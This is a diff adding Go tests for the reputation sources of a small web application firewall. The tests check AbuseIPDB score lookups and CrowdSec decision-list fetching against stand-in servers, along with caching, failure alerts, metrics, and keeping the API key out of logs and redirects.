+			synctest.Test(t, func(t *testing.T) {
+				var log bytes.Buffer
+
+				queue := newQueue()
+				p := abuseIPDBParams()
+				p.Key = tc.key
+				p.Alerts = queue
+				p.ProcessLog = slog.New(slog.NewJSONHandler(&log, nil))
+				abuseIPDB := &abuseIPDBStandIn{status: tc.status, body: tc.body}
+				checker := newAbuseIPDB(abuseIPDB, p)
+
+				// The failure gives no score, and no client is checked within a
+				// minute of it.
+				wantScore(t, checker, suspect, true, 0, false)
+				synctest.Wait()
+				time.Sleep(time.Minute - time.Nanosecond)
+				wantScore(t, checker, other, true, 0, false)
+				synctest.Wait()
+				wantChecked(t, abuseIPDB, suspect)
+				wantFailures(t, checker, 1)
+
+				time.Sleep(time.Nanosecond)
+				wantScore(t, checker, other, true, 0, false)
+				synctest.Wait()
+				wantChecked(t, abuseIPDB, suspect, other)
+				wantFailures(t, checker, 2)
+
+				if scores := checker.Snapshot().Scores; len(scores) != 0 {
+					t.Errorf("scores %+v, want none", scores)
+				}
+
+				// One alert for the first failure; the cooldown holds back the
+				// second.
+				wantFailureAlert(t, queue, time.Now().Add(-time.Minute),
+					"checking a client with AbuseIPDB failed", tc.error, 1)
+
+				if !strings.Contains(log.String(), `"msg":"checking a client with `+
+					`AbuseIPDB failed","source":"abuseipdb","error":"`+tc.error) {
+					t.Errorf("logged\n%s\nwant the failures", log.String())
+				}
+			})
+		})
+	}
+}
+
+func TestCheckNotAnsweredWithinTheTimeoutFailsAndHitNeverWaits(t *testing.T) {
+	t.Parallel()
+
+	synctest.Test(t, func(t *testing.T) {
+		queue := newQueue()
+		p := abuseIPDBParams()
+		p.Alerts = queue
+		abuseIPDB := &abuseIPDBStandIn{hanging: true}
+		checker := newAbuseIPDB(abuseIPDB, p)
+		began := time.Now()
+
+		// The second, while the first's check is under way, starts none.
+		wantScore(t, checker, suspect, true, 0, false)
+		wantScore(t, checker, suspect, true, 0, false)
+
+		if waited := time.Since(began); waited != 0 {
+			t.Errorf("waited %s for the check, want no wait", waited)
+		}
+
+		time.Sleep(timeout - time.Nanosecond)
+		synctest.Wait()
+		wantChecked(t, abuseIPDB, suspect)
+		wantFailures(t, checker, 0)
+
+		time.Sleep(time.Nanosecond)
+		synctest.Wait()
+		wantFailures(t, checker, 1)
+		wantFailureAlert(t, queue, time.Now(), "checking a client with AbuseIPDB failed",
+			"check the client: context deadline exceeded", 0)
+	})
+}
+
+func TestKeyIsSentInTheKeyHeaderAndNeverShown(t *testing.T) {
+	t.Parallel()
+
+	synctest.Test(t, func(t *testing.T) {
+		var log bytes.Buffer
+
+		queue := newQueue()
+		p := abuseIPDBParams()
+		p.Alerts = queue
+		p.ProcessLog = slog.New(slog.NewJSONHandler(&log, nil))
+		abuseIPDB := &abuseIPDBStandIn{scores: map[string]int64{suspect: 100}}
+		checker := newAbuseIPDB(abuseIPDB, p)
+		m := metrics.New(1, "app")
+		m.AddReputation(reputation.New(params()), reputation.NewDNSBL(dnsblParams()))
+		m.AddAbuseIPDB(checker)
+
+		// One check that AbuseIPDB answers, and one it refuses with an answer
+		// that names the key.
+		wantScore(t, checker, suspect, true, 0, false)
+		synctest.Wait()
+		wantScore(t, checker, suspect, true, 100, true)
+
+		abuseIPDB.answerWith(http.StatusUnauthorized, `{"errors":[{"detail":"`+key+`"}]}`)
+		wantScore(t, checker, other, true, 0, false)
+		synctest.Wait()
+		wantFailures(t, checker, 1)
+
+		abuseIPDB.mu.Lock()
+		sent := slices.Clone(abuseIPDB.keys)
+		abuseIPDB.mu.Unlock()
+
+		if !slices.Equal(sent, []string{key, key}) {
+			t.Errorf("checks sent the keys %v, want %s twice", sent, key)
+		}
+
+		alerted, err := json.Marshal(waiting(queue))
+		if err != nil {
+			t.Fatalf("encode the alerts: %v", err)
+		}
+
+		kept, err := json.Marshal(checker.Snapshot())
+		if err != nil {
+			t.Fatalf("encode the checks: %v", err)
+		}
+
+		for name, shown := range map[string]string{
+			"the log": log.String(), "the alerts": string(alerted),
+			"the metrics": scrapeMetrics(t, m), "reputation.json": string(kept),
+		} {
+			if strings.Contains(shown, key) {
+				t.Errorf("%s shows the key:\n%s", name, shown)
+			}
+		}
+	})
+}
+
+func TestMetricsCountTheChecksTheFailuresAndTheBudgetLeft(t *testing.T) {
+	t.Parallel()
+
+	synctest.Test(t, func(t *testing.T) {
+		abuseIPDB := &abuseIPDBStandIn{}
+		p := abuseIPDBParams()
+		p.DailyBudget = 5
+		checker := newAbuseIPDB(abuseIPDB, p)
+		m := metrics.New(1, "app")
+		m.AddReputation(reputation.New(params()), reputation.NewDNSBL(dnsblParams()))
+		m.AddAbuseIPDB(checker)
+
+		// One check that AbuseIPDB answers, and one that fails.
+		hitFrom(t, checker, suspect, true)
+		synctest.Wait()
+		abuseIPDB.answerWith(http.StatusInternalServerError, "")
+		hitFrom(t, checker, other, true)
+		synctest.Wait()
+
+		scraped := scrapeMetrics(t, m)
+
+		for series, want := range map[string]string{
+			"queries_total":          "2",
+			"failures_total":         "1",
+			"daily_budget_remaining": "3",
+		} {
+			line := "\nsmallwebwaf_reputation_" + series +
+				`{instance="app",source="abuseipdb"} ` + want + "\n"
+			if !strings.Contains(scraped, line) {
+				t.Errorf("metrics\n%s\nwant%s", scraped, line)
+			}
+		}
+	})
+}
+
+func TestScoreFetchedATTLAgoIsNeitherUsedNorKept(t *testing.T) {
+	t.Parallel()
+
+	now := time.Date(2026, 10, 7, 0, 0, 0, 0, time.UTC)
+	p := abuseIPDBParams()
+	p.Now = func() time.Time { return now }
+	checker := reputation.NewAbuseIPDB(p)
+
+	// The last score still in use, and one, of other's /64, fetched a TTL
+	// ago.
+	inUse := reputation.Score{
+		Client: netip.MustParsePrefix(suspect + "/32"), Score: 100,
+		Fetched: now.Add(-cacheTTL + time.Nanosecond),
+	}
+	stale := reputation.Score{
+		Client: netip.MustParsePrefix("2001:db8::/64"), Score: 100,
+		Fetched: now.Add(-cacheTTL),
+	}
+
+	checker.Load(reputation.Checks{Scores: []reputation.Score{stale, inUse}})
+
+	wantScore(t, checker, suspect, false, 100, true)
+	wantScore(t, checker, other, false, 0, false)
+
+	got := checker.Snapshot().Scores
+	if !reflect.DeepEqual(got, []reputation.Score{inUse}) {
+		t.Errorf("scores %+v, want only %+v", got, inUse)
+	}
+}
+
+func TestAtMost100000ScoresKeptTheOneFetchedLongestAgoDroppedFirst(t *testing.T) {
+	t.Parallel()
+
+	now := time.Date(2026, 10, 7, 0, 0, 0, 0, time.UTC)
+	p := abuseIPDBParams()
+	p.Now = func() time.Time { return now }
+	checker := reputation.NewAbuseIPDB(p)
+
+	// 100,001 scores, listed by client, as reputation.json lists them, each
+	// fetched a millisecond before the one before it: the last is one too
+	// many.
+	const count = 100001
+
+	scores := make([]reputation.Score, 0, count)
+
+	addr := netip.MustParseAddr("198.18.0.0")
+	for i := range count {
+		scores = append(scores, reputation.Score{
+			Client:  netip.PrefixFrom(addr, 32),
+			Fetched: now.Add(-time.Duration(i) * time.Millisecond),
+		})
+		addr = addr.Next()
+	}
+
+	checker.Load(reputation.Checks{Scores: scores})
+
+	got := checker.Snapshot().Scores
+	if len(got) != count-1 || !slices.Contains(got, scores[0]) ||
+		slices.Contains(got, scores[count-1]) {
+		t.Errorf("%d scores kept, want all but the one fetched longest ago", len(got))
+	}
+}
+
+// abuseIPDBStandIn is a stand-in for AbuseIPDB. It answers a check sent
+// with key by the client's score, as scores gives it, 0 for a client it
+// does not give; a check sent with another key with 401; and, while
+// status is not 0, every check with status and body; and while hanging,
+// none at all. It notes each client checked, and the key sent.
+type abuseIPDBStandIn struct {
+	mu      sync.Mutex
+	scores  map[string]int64
+	status  int
+	body    string
+	hanging bool
+	checked []string
+	keys    []string
+}
+
+// RoundTrip has the stand-in answer req, in place of the network. A check
+// abandoned before the stand-in answers fails, as over the network.
+func (s *abuseIPDBStandIn) RoundTrip(req *http.Request) (*http.Response, error) {
+	client := req.URL.Query().Get("ipAddress")
+	sent := req.Header.Get("Key")
+
+	s.mu.Lock()
+	s.checked = append(s.checked, client)
+	s.keys = append(s.keys, sent)
+	score := s.scores[client]
+	status, body, hanging := s.status, s.body, s.hanging
+	s.mu.Unlock()
+
+	switch {
+	case hanging:
+		<-req.Context().Done()
+
+		return nil, req.Context().Err()
+	case sent != key:
+		status = http.StatusUnauthorized
+	case status == 0:
+		status = http.StatusOK
+		body = fmt.Sprintf(`{"data":{"ipAddress":%q,"abuseConfidenceScore":%d}}`, client,
+			score)
+	}
+
+	return &http.Response{
+		StatusCode: status,
+		Status:     fmt.Sprintf("%d %s", status, http.StatusText(status)),
+		Header:     http.Header{},
+		Body:       io.NopCloser(strings.NewReader(body)),
+		Request:    req,
+	}, nil
+}
+
+// setScore has the stand-in give client score.
+func (s *abuseIPDBStandIn) setScore(client string, score int64) {
+	s.mu.Lock()
+	defer s.mu.Unlock()
+
+	s.scores[client] = score
+}
+
+// answerWith has the stand-in answer every check with status and body.
+func (s *abuseIPDBStandIn) answerWith(status int, body string) {
+	s.mu.Lock()
+	defer s.mu.Unlock()
+
+	s.status, s.body = status, body
+}
+
+// abuseIPDBParams returns the AbuseIPDBParams of the tests: key, a minimum
+// score of 75, a daily budget of 900, and the cache TTL and timeout of the
+// DNSBL tests, by the bubble's clock, with alerts to a queue that sends
+// none.
+func abuseIPDBParams() reputation.AbuseIPDBParams {
+	return reputation.AbuseIPDBParams{
+		URL:         "https://abuseipdb.example/api/v2/check",
+		Key:         key,
+		MinScore:    75,
+		DailyBudget: 900,
+		CacheTTL:    cacheTTL,
+		Timeout:     timeout,
+		Now:         time.Now,
+		ProcessLog:  slog.New(slog.DiscardHandler),
+		Alerts:      newQueue(),
+	}
+}
+
+// newAbuseIPDB returns the AbuseIPDB of p, checking clients with
+// abuseIPDB.
+func newAbuseIPDB(
+	abuseIPDB *abuseIPDBStandIn, p reputation.AbuseIPDBParams,
+) *reputation.AbuseIPDB {
+	checker := reputation.NewAbuseIPDB(p)
+	checker.SetTransport(abuseIPDB)
+
+	return checker
+}
+
+// wantScore checks the score checker gives client, and whether it is a
+// hit, as a request from client finds them, offender or not.
+func wantScore(
+	t *testing.T, checker *reputation.AbuseIPDB, client string, offender bool,
+	score int64, hit bool,
+) {
+	t.Helper()
+
+	gotScore, gotHit := hitFrom(t, checker, client, offender)
+	if gotScore != score || gotHit != hit {
+		t.Errorf("%s has the score %d, a hit %t, want %d, %t", client, gotScore, gotHit,
+			score, hit)
+	}
+}
+
+// hitFrom is checker's Hit for a request from address, offender or not.
+// Its client is address for an IPv4 address, and its /64 for an IPv6 one,
+// as smallwebwaf counts clients.
+func hitFrom(
+	t *testing.T, checker *reputation.AbuseIPDB, address string, offender bool,
+) (int64, bool) {
+	t.Helper()
+
+	addr := netip.MustParseAddr(address)
+
+	client := netip.PrefixFrom(addr, addr.BitLen())
+	if addr.Is6() {
+		client = netip.PrefixFrom(addr, 64).Masked()
+	}
+
+	return checker.Hit(t.Context(), client, addr, offender)
+}
+
+// wantChecked checks the clients the stand-in was asked about, in any
+// order.
+func wantChecked(t *testing.T, abuseIPDB *abuseIPDBStandIn, want ...string) {
+	t.Helper()
+
+	abuseIPDB.mu.Lock()
+	got := slices.Sorted(slices.Values(abuseIPDB.checked))
+	abuseIPDB.mu.Unlock()
+
+	want = slices.Sorted(slices.Values(want))
+
+	if !slices.Equal(got, want) {
+		t.Errorf("checked %v, want %v", got, want)
+	}
+}
+
+// wantFailures checks how many checks failed.
+func wantFailures(t *testing.T, checker *reputation.AbuseIPDB, want int) {
+	t.Helper()
+
+	if got := checker.Failures(); got != want {
+		t.Errorf("%d checks failed, want %d", got, want)
+	}
+}
+
+// wantFailureAlert checks that the one alert waiting in queue is a
+// source_failure alert from AbuseIPDB, raised at raised, with reason and
+// the error failure, and that the cooldown has held back held repeats of
+// it.
+func wantFailureAlert(
+	t *testing.T, queue *alerts.Queue, raised time.Time, reason, failure string,
+	held int64,
+) {
+	t.Helper()
+
+	got := waiting(queue)
+	if len(got) != 1 || !got[0].Time.Equal(raised) ||
+		got[0].Event != alerts.EventSourceFailure || got[0].Reason != reason ||
+		got[0].Detail["source"] != reputation.AbuseIPDBSource ||
+		got[0].Detail["error"] != failure || queue.Suppressed() != held {
+		t.Errorf("alerts waiting %+v, %d held back, want only AbuseIPDB's %q with %q, "+
+			"and %d", got, queue.Suppressed(), reason, failure, held)
+	}
+}
+
+// wantBudgetLeft checks how many checks the day's budget has left.
+func wantBudgetLeft(t *testing.T, checker *reputation.AbuseIPDB, want int) {
+	t.Helper()
+
+	if got := checker.BudgetLeft(); got != want {
+		t.Errorf("%d checks left, want %d", got, want)
+	}
+}
+
+// scrapeMetrics returns the metrics m serves.
+func scrapeMetrics(t *testing.T, m *metrics.Metrics) string {
+	t.Helper()
+
+	scraped := httptest.NewRecorder()
+	m.ServeHTTP(scraped, httptest.NewRequestWithContext(t.Context(), http.MethodGet, "/",
+		http.NoBody))
+
+	return scraped.Body.String()
+}

internal/reputation/crowdsec_test.go

@@ -0,0 +1,513 @@
+package reputation_test
+
+import (
+	"bytes"
+	"encoding/json"
+	"fmt"
+	"io"
+	"log/slog"
+	"net/http"
+	"net/netip"
+	"reflect"
+	"strings"
+	"sync"
+	"testing"
+	"testing/synctest"
+	"time"
+
+	"sneak.berlin/go/smallwebwaf/internal/alerts"
+	"sneak.berlin/go/smallwebwaf/internal/reputation"
+)
+
+// The tests run in a synctest bubble, as those of the blocklists do, and
+// fetch the decision list from engine, a stand-in for a CrowdSec engine
+// that answers without the network.
+
+const (
+	// decisionsURL is the decision list of the tests' engine, and engineKey
+	// the key it answers.
+	decisionsURL = "http://crowdsec.example:8080/v1/decisions"
+	engineKey    = "crowdsec-key-0123456789abcdef"
+	// sshBF and probing are scenarios of the engine's decisions.
+	sshBF   = "crowdsecurity/ssh-bf"
+	probing = "crowdsecurity/http-probing"
+	// ban is the type of a decision to ban, and rangeScope the scope of a
+	// decision on a netblock, as CrowdSec names them.
+	ban        = "ban"
+	rangeScope = "Range"
+)
+
+func TestCrowdSecDecisionBansItsNetblockUntilItEndsEvenWithTheEngineDown(t *testing.T) {
+	t.Parallel()
+
+	synctest.Test(t, func(t *testing.T) {
+		began := time.Now()
+		manual := "manual 'ban' from 'localhost'"
+		e := &engine{key: engineKey, decisions: []decision{
+			{"Ip", suspect, ban, manual, began.Add(6 * time.Hour)},
+			// A shorter decision on the same address, which is not the one
+			// used.
+			{"Ip", suspect, ban, sshBF, began.Add(4 * time.Hour)},
+			{rangeScope, "198.51.100.0/24", ban, probing, began.Add(time.Hour)},
+			{"Ip", "2001:db8::1", ban, sshBF, began.Add(2 * time.Hour)},
+			// Left out: a decision to show a captcha, and one on a country.
+			{"Ip", "192.0.2.50", "captcha", probing, began.Add(time.Hour)},
+			{"Country", "KP", ban, manual, began.Add(time.Hour)},
+		}}
+		lists := start(t, e, crowdSecParams())
+
+		for addr, want := range map[string]reputation.Decision{
+			suspect:          {Expires: began.Add(6 * time.Hour), Scenario: manual},
+			"198.51.100.0":   {Expires: began.Add(time.Hour), Scenario: probing},
+			"198.51.100.255": {Expires: began.Add(time.Hour), Scenario: probing},
+			"2001:db8::1":    {Expires: began.Add(2 * time.Hour), Scenario: sshBF},
+			"203.0.113.10":   {},
+			"198.51.101.0":   {},
+			"2001:db8::2":    {},
+			"192.0.2.50":     {},
+		} {
+			wantDecision(t, lists, addr, want)
+		}
+
+		// With the engine down, the copy kept still holds the decision on
+		// 198.51.100.0/24, which no longer bans once it has ended.
+		e.set(func(e *engine) { e.failing = true })
+		time.Sleep(time.Hour - time.Nanosecond)
+		synctest.Wait()
+		wantDecision(t, lists, "198.51.100.7",
+			reputation.Decision{Expires: began.Add(time.Hour), Scenario: probing})
+
+		time.Sleep(time.Nanosecond)
+		synctest.Wait()
+		wantDecision(t, lists, "198.51.100.7", reputation.Decision{})
+		wantDecision(t, lists, suspect,
+			reputation.Decision{Expires: began.Add(6 * time.Hour), Scenario: manual})
+	})
+}
+
+func TestCrowdSecDecisionListFetchedAgainEveryMinute(t *testing.T) {
+	t.Parallel()
+
+	synctest.Test(t, func(t *testing.T) {
+		began := time.Now()
+		e := &engine{key: engineKey, decisions: []decision{
+			{"Ip", suspect, ban, sshBF, began.Add(4 * time.Hour)},
+		}}
+		lists := start(t, e, crowdSecParams())
+		wantEngineFetches(t, e, 1)
+
+		added := reputation.Decision{Expires: began.Add(2 * time.Hour), Scenario: probing}
+
+		e.set(func(e *engine) {
+			e.decisions = append(e.decisions,
+				decision{"Ip", "203.0.113.10", ban, probing, added.Expires})
+		})
+
+		time.Sleep(time.Minute - time.Nanosecond)
+		wantEngineFetches(t, e, 1)
+		wantDecision(t, lists, "203.0.113.10", reputation.Decision{})
+
+		time.Sleep(time.Nanosecond)
+		wantEngineFetches(t, e, 2)
+		wantDecision(t, lists, "203.0.113.10", added)
+	})
+}
+
+func TestCrowdSecDecisionOnAClientIsTheOneThatEndsLast(t *testing.T) {
+	t.Parallel()
+
+	synctest.Test(t, func(t *testing.T) {
+		began := time.Now()
+		e := &engine{key: engineKey, decisions: []decision{
+			// Two decisions on one address, the shorter listed first.
+			{"Ip", suspect, ban, sshBF, began.Add(2 * time.Hour)},
+			{"Ip", suspect, ban, probing, began.Add(4 * time.Hour)},
+			// 198.51.100.130 is held by a decision on its address that ends
+			// after the one on its netblock, and 192.0.2.20 by one that ends
+			// before.
+			{rangeScope, "198.51.100.128/25", ban, sshBF, began.Add(time.Hour)},
+			{"Ip", "198.51.100.130", ban, probing, began.Add(3 * time.Hour)},
+			{rangeScope, "192.0.2.0/24", ban, probing, began.Add(5 * time.Hour)},
+			{"Ip", "192.0.2.20", ban, sshBF, began.Add(2 * time.Hour)},
+		}}
+		lists := start(t, e, crowdSecParams())
+
+		wantDecision(t, lists, suspect,
+			reputation.Decision{Expires: began.Add(4 * time.Hour), Scenario: probing})
+		wantDecision(t, lists, "198.51.100.130",
+			reputation.Decision{Expires: began.Add(3 * time.Hour), Scenario: probing})
+		wantDecision(t, lists, "192.0.2.20",
+			reputation.Decision{Expires: began.Add(5 * time.Hour), Scenario: probing})
+	})
+}
+
+func TestCrowdSecAnswerOfNoDecisionIsAGoodCopyThatListsNoClient(t *testing.T) {
+	t.Parallel()
+
+	synctest.Test(t, func(t *testing.T) {
+		began := time.Now()
+		e := &engine{key: engineKey, decisions: []decision{
+			{"Ip", suspect, ban, sshBF, began.Add(4 * time.Hour)},
+		}}
+		lists := start(t, e, crowdSecParams())
+
+		// With its decision deleted, the engine answers null.
+		e.set(func(e *engine) { e.decisions = nil })
+		time.Sleep(time.Minute)
+		wantEngineFetches(t, e, 2)
+
+		want := []reputation.List{{
+			URL: decisionsURL, Tried: time.Now(), Fetched: time.Now(), Lines: []string{"null"},
+		}}
+		if got := lists.Snapshot(); !reflect.DeepEqual(got, want) {
+			t.Errorf("lists %+v, want %+v", got, want)
+		}
+
+		if lists.Failures(decisionsURL) != 0 {
+			t.Errorf("%d failures, want 0", lists.Failures(decisionsURL))
+		}
+
+		wantDecision(t, lists, suspect, reputation.Decision{})
+	})
+}
+
+func TestCrowdSecFailureKeepsTheLastGoodCopyAlertsOncePerCooldownAndHidesTheKey(
+	t *testing.T,
+) {
+	t.Parallel()
+
+	for _, tc := range crowdSecFailures() {
+		t.Run(tc.name, func(t *testing.T) {
+			t.Parallel()
+
+			synctest.Test(t, func(t *testing.T) {
+				var log bytes.Buffer
+
+				began := time.Now()
+				e := &engine{key: engineKey, decisions: []decision{
+					{"Ip", suspect, ban, sshBF, began.Add(4 * time.Hour)},
+				}}
+				queue := newQueue()
+				p := crowdSecParams()
+				p.ProcessLog = slog.New(slog.NewJSONHandler(&log, nil))
+				p.Alerts = queue
+				lists := start(t, e, p)
+				kept := lists.Snapshot()
+
+				e.set(tc.fail)
+
+				// Each failure is tried again a minute after it.
+				for range 2 {
+					time.Sleep(time.Minute)
+					synctest.Wait()
+				}
+
+				wantEngineFetches(t, e, 3)
+				wantDecision(t, lists, suspect,
+					reputation.Decision{Expires: began.Add(4 * time.Hour), Scenario: sshBF})
+
+				want := kept[0]
+				want.Tried = time.Now()
+
+				if got := lists.Snapshot(); !reflect.DeepEqual(got, []reputation.List{want}) {
+					t.Errorf("lists %+v, want the first copy, last tried now, %+v", got, want)
+				}
+
+				if lists.Failures(decisionsURL) != 2 {
+					t.Errorf("%d failures, want 2", lists.Failures(decisionsURL))
+				}
+
+				// One alert for the first failure; the cooldown holds back the
+				// second.
+				wantAlert(t, queue,
+					fetchFailure(time.Now().Add(-time.Minute), decisionsURL, tc.error))
+
+				if !strings.Contains(log.String(), `"msg":"fetching a list failed",`+
+					`"url":"`+decisionsURL+`","error":"`+tc.error) {
+					t.Errorf("logged\n%s\nwant the failures", log.String())
+				}
+
+				wantKeyNotShown(t, e, log.String(), lists, queue)
+			})
+		})
+	}
+}
+
+// crowdSecFailure is a way for the engine to fail: fail has it answer the
+// fetches after the first so that they fail with error.
+type crowdSecFailure struct {
+	name  string
+	fail  func(e *engine)
+	error string
+}
+
+// crowdSecFailures returns the ways the engine can fail.
+func crowdSecFailures() []crowdSecFailure {
+	const notDecision = " does not give an address or a netblock and a duration, " +
+		"such as 4h0m0s"
+
+	return []crowdSecFailure{
+		{
+			"an answer other than 200",
+			func(e *engine) { e.failing = true },
+			"the server answered 503 Service Unavailable",
+		},
+		{
+			"a key the engine refuses",
+			func(e *engine) { e.key = "another-key-0123456789abcdef" },
+			"the server answered 403 Forbidden",
+		},
+		{
+			"a redirect",
+			func(e *engine) { e.redirect = "http://elsewhere.example/v1/decisions" },
+			"the server answered 302 Found",
+		},
+		{
+			"an answer that does not read",
+			func(e *engine) { e.answer = "<html>" },
+			"read the answer: invalid character '<' looking for beginning of value",
+		},
+		{
+			"a decision to ban whose value does not read",
+			func(e *engine) {
+				e.answer = `[{"duration": "4h", "scenario": "` + sshBF + `", ` +
+					`"scope": "Ip", "type": "ban", "value": "203.0.113.300"}]`
+			},
+			"decision 1" + notDecision,
+		},
+		{
+			"a decision to ban whose duration does not read",
+			func(e *engine) {
+				e.answer = `[{"duration": "4h", "scope": "Country", "type": "ban", ` +
+					`"value": "KP"}, {"duration": "four hours", "scope": "Range", ` +
+					`"type": "ban", "value": "198.51.100.0/24"}]`
+			},
+			"decision 2" + notDecision,
+		},
+	}
+}
+
+// wantKeyNotShown checks that no fetch carried the engine's key to a URL
+// other than its decision list, such as the one a redirect names, and that
+// the key is in none of what the fetches leave behind: log, the process
+// log, the alerts waiting in queue, and the copies of lists, which
+// reputation.json keeps.
+func wantKeyNotShown(
+	t *testing.T, e *engine, log string, lists *reputation.Lists, queue *alerts.Queue,
+) {
+	t.Helper()
+
+	e.mu.Lock()
+	keySentTo := e.keySentTo
+	e.mu.Unlock()
+
+	if len(keySentTo) != 0 {
+		t.Errorf("the key was sent to %v", keySentTo)
+	}
+
+	shown, err := json.Marshal([]any{lists.Snapshot(), waiting(queue)})
+	if err != nil {
+		t.Fatalf("encode: %v", err)
+	}
+
+	if strings.Contains(log+string(shown), engineKey) {
+		t.Errorf("the key is shown in\n%s\n%s", log, shown)
+	}
+}
+
+func TestCrowdSecDecisionListKeptAcrossARestartEndsWhenItsDecisionsDo(t *testing.T) {
+	t.Parallel()
+
+	synctest.Test(t, func(t *testing.T) {
+		began := time.Now()
+		e := &engine{key: engineKey, decisions: []decision{
+			{rangeScope, "198.51.100.0/24", ban, probing, began.Add(time.Hour)},
+		}}
+		lists := start(t, e, crowdSecParams())
+		kept := lists.Snapshot()
+
+		// Restarted half an hour later with what reputation.json keeps, and
+		// the engine down, the decision still bans, until the end it had at
+		// the fetch, half an hour on.
+		time.Sleep(30 * time.Minute)
+
+		down := &engine{key: engineKey, failing: true}
+		again := reputation.New(crowdSecParams())
+		again.SetTransport(down)
+
+		err := again.Load(kept)
+		if err != nil {
+			t.Fatalf("load: %v", err)
+		}
+
+		run(t, again)
+
+		want := reputation.Decision{Expires: began.Add(time.Hour), Scenario: probing}
+		wantDecision(t, again, "198.51.100.7", want)
+
+		time.Sleep(30*time.Minute - time.Nanosecond)
+		synctest.Wait()
+		wantDecision(t, again, "198.51.100.7", want)
+
+		time.Sleep(time.Nanosecond)
+		synctest.Wait()
+		wantDecision(t, again, "198.51.100.7", reputation.Decision{})
+	})
+}
+
+func TestLoadTakesACrowdSecListNeverFetchedAndRefusesACopyThatDoesNotRead(
+	t *testing.T,
+) {
+	t.Parallel()
+
+	now := time.Date(2026, 10, 6, 0, 0, 0, 0, time.UTC)
+	lists := reputation.New(crowdSecParams())
+
+	// Tried, and never fetched: there is no copy to read.
+	err := lists.Load([]reputation.List{{URL: decisionsURL, Tried: now}})
+	if err != nil {
+		t.Errorf("load the list never fetched: %v", err)
+	}
+
+	err = lists.Load([]reputation.List{{
+		URL: decisionsURL, Tried: now, Fetched: now, Lines: []string{
+			`[{"duration": "4h", "scope": "Range", "type": "ban", ` +
+				`"value": "198.51.100.0/33"}]`,
+		},
+	}})
+
+	const want = "the copy of " + decisionsURL + ": decision 1 does not give an " +
+		"address or a netblock and a duration, such as 4h0m0s"
+	if err == nil || err.Error() != want {
+		t.Errorf("error %v, want %s", err, want)
+	}
+}
+
+// engine is a stand-in for the local API of a CrowdSec engine. It answers
+// a fetch of the decision list that carries its key in X-Api-Key with its
+// decisions still in force, each with the time it has left as it answers,
+// by the bubble's clock, as an engine does, or with answer while that is
+// not "". It answers 403 to a fetch without its key, as an engine does,
+// with a redirect to redirect while that is not "", and 503 while failing.
+// It counts the fetches, and notes in keySentTo the URL of each fetch of
+// another URL that carries a key, as one following a redirect would.
+type engine struct {
+	mu        sync.Mutex
+	key       string
+	decisions []decision
+	answer    string
+	redirect  string
+	failing   bool
+	fetches   int
+	keySentTo []string
+}
+
+// decision is a decision of the engine, which ends at expires.
+type decision struct {
+	scope, value, kind, scenario string
+	expires                      time.Time
+}
+
+// RoundTrip has the engine answer req, in place of the network.
+func (e *engine) RoundTrip(req *http.Request) (*http.Response, error) {
+	e.mu.Lock()
+	defer e.mu.Unlock()
+
+	e.fetches++
+
+	if req.URL.String() != decisionsURL && req.Header.Get("X-Api-Key") != "" {
+		e.keySentTo = append(e.keySentTo, req.URL.String())
+	}
+
+	status, header, body := http.StatusOK, http.Header{}, e.answer
+
+	switch {
+	case req.URL.String() != decisionsURL || req.Header.Get("X-Api-Key") != e.key:
+		status, body = http.StatusForbidden, `{"message":"access forbidden"}`
+	case e.redirect != "":
+		status, header = http.StatusFound, http.Header{"Location": {e.redirect}}
+	case e.failing:
+		status, body = http.StatusServiceUnavailable, ""
+	case body == "":
+		body = e.inForce(time.Now())
+	}
+
+	return &http.Response{
+		StatusCode: status,
+		Status:     fmt.Sprintf("%d %s", status, http.StatusText(status)),
+		Header:     header,
+		Body:       io.NopCloser(strings.NewReader(body)),
+		Request:    req,
+	}, nil
+}
+
+// inForce returns the decisions in force at now, as the engine answers
+// them: a JSON list, null for none.
+func (e *engine) inForce(now time.Time) string {
+	var answer []map[string]string
+
+	for _, d := range e.decisions {
+		if now.Before(d.expires) {
+			answer = append(answer, map[string]string{
+				"duration": d.expires.Sub(now).String(), "origin": "crowdsec",
+				"scenario": d.scenario, "scope": d.scope, "type": d.kind, "value": d.value,
+			})
+		}
+	}
+
+	body, err := json.Marshal(answer)
+	if err != nil {
+		panic(err) // a list of maps of strings always encodes
+	}
+
+	return string(body)
+}
+
+// set changes the engine with change.
+func (e *engine) set(change func(e *engine)) {
+	e.mu.Lock()
+	defer e.mu.Unlock()
+
+	change(e)
+}
+
+// crowdSecParams returns the Params of the decision list of the tests'
+// engine, fetched with its key, by the bubble's clock, with alerts to a
+// queue that sends none.
+func crowdSecParams() reputation.Params {
+	p := params()
+	p.CrowdSecDecisionsURL = decisionsURL
+	p.CrowdSecKey = engineKey
+
+	return p
+}
+
+// wantEngineFetches waits until Run has made the fetches due, and checks
+// how many the engine has had.
+func wantEngineFetches(t *testing.T, e *engine, want int) {
+	t.Helper()
+
+	synctest.Wait()
+
+	e.mu.Lock()
+	got := e.fetches
+	e.mu.Unlock()
+
+	if got != want {
+		t.Errorf("%d fetches, want %d", got, want)
+	}
+}
+
+// wantDecision checks the decision lists says is in force on addr now,
+// the zero Decision for none.
+func wantDecision(
+	t *testing.T, lists *reputation.Lists, addr string, want reputation.Decision,
+) {
+	t.Helper()
+
+	got, listed := lists.CrowdSecDecision(netip.MustParseAddr(addr), time.Now())
+	if listed != !want.Expires.IsZero() ||
+		listed && (!got.Expires.Equal(want.Expires) || got.Scenario != want.Scenario) {
+		t.Errorf("%s has the decision %+v in force %t, want %+v", addr, got, listed, want)
+	}
+}

internal/reputation/dnsbl.go

@@ -0,0 +1,332 @@
+package reputation
+
+import (
+	"cmp"
+	"context"
+	"encoding/hex"
+	"errors"
+	"fmt"
+	"log/slog"
+	"net"
+	"net/netip"
+	"slices"
+	"strings"
+	"sync"
+	"time"
+
+	"github.com/hashicorp/golang-lru/v2/simplelru"
+	"sneak.berlin/go/smallwebwaf/internal/alerts"
+	"sneak.berlin/go/smallwebwaf/internal/config"
+)
+
+const (
+	// maxVerdicts is how many verdicts of the DNSBL zones are kept, and how
+	// many scores of AbuseIPDB. Past it, the one fetched longest ago is
+	// dropped.
+	maxVerdicts = 100000
+	// maxQueries is how many queries may be under way at once. Past it, a
+	// zone is not asked about a client until the client's next request, so
+	// that a swarm of new addresses cannot fill the memory.
+	maxQueries = 1000
+	// failureDelay is how long a zone is not asked again after a query to
+	// it fails, and no client is checked with AbuseIPDB after a check
+	// fails, so that a source refusing them is not asked on every request.
+	failureDelay = time.Minute
+)
+
+var (
+	errAsk        = errors.New("ask the zone")
+	errRefused    = errors.New("the zone refused the query")
+	errNotListing = errors.New("the answer is outside 127.0.0.0/8")
